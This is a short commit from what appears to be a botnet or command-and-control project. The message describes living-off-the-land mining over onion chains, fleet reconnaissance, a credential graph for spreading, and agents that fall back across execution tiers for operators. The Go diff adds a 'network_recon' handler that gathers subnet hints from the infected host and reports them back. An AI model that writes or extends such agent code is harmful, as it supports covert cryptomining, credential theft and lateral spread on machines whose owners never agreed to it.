Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "network_recon" {
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
b, _ := json.Marshal(hints)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "persistence_audit" {
|
||||
report := collectPersistenceAudit()
|
||||
b, _ := json.Marshal(report)
|
||||
|
||||
Reference in New Issue
Block a user